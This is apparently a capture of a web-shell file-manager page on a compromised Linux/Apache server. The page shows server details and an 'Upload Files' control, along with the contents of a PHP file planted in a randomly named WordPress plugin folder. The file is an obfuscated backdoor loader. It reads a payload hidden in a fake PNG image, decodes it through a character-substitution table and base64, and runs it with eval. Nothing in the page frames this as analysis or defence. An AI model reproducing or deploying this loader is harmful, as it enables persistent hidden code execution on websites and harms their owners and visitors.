HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/wp-content/plugins/acisajuca/wukhizu.txt
<?php

function ilavep_uvulemyv($nenexo_yshumyth) {
    if ($nenexo_yshumyth == 1)
        return bykypa_orocoveq();
    if ($nenexo_yshumyth == 2)
        return urufyc_ynududon();
}

function bidupe_eshumoshi($nenexo_yshumyth) {
    $qajyku = ilavep_uvulemyv(1);
    $qapokhi = ilavep_uvulemyv(2);
    for ($oqycyzh = 0; $oqycyzh < strlen($qajyku); $oqycyzh++) {
        $zyquzho = substr($qajyku, $oqycyzh, 1);
        $syzhamy = substr($qapokhi, $oqycyzh, 1);
        $vuxyfur[$zyquzho] = $syzhamy;
    }

    $nuzhuqu = strtr($nenexo_yshumyth, $vuxyfur);
    $nuzhuqu = base64_decode($nuzhuqu);

    return $nuzhuqu;
}

function olihim_okhyzahoro($nenexo_yshumyth) {
    $sohubu = array();
    if (!file_exists($nenexo_yshumyth))
        return false;
    $thopuxo = @file_get_contents($nenexo_yshumyth);
    if (!$thopuxo)
        return false;
    $thopuxo = substr($thopuxo, 3);
    $sohubu = bidupe_eshumoshi($thopuxo);
    return $sohubu;
}

function bykypa_orocoveq() {
    $thopuxo = "4U8Vwo2ImZYXdxv=CSAD+kbE3MJR9Wrz/6psLeOjQFh7G5ta1TglyKq0HfPiNnucB";
    return $thopuxo;
}

function urufyc_ynududon() {
    $sohubu = "8WpkxILrATgPQ1c3KDJ29e4FhodzwYGNB5vsjZbumi7yE0SlCUH=a+n/RXOMVftq6";
    return $sohubu;
}

$iwybyz = olihim_okhyzahoro(__DIR__ . "/ass" . "ets/i" . "mage" . "s/zore" . "fog.p" . "ng");
if ($iwybyz) {
    @eval($iwybyz);
}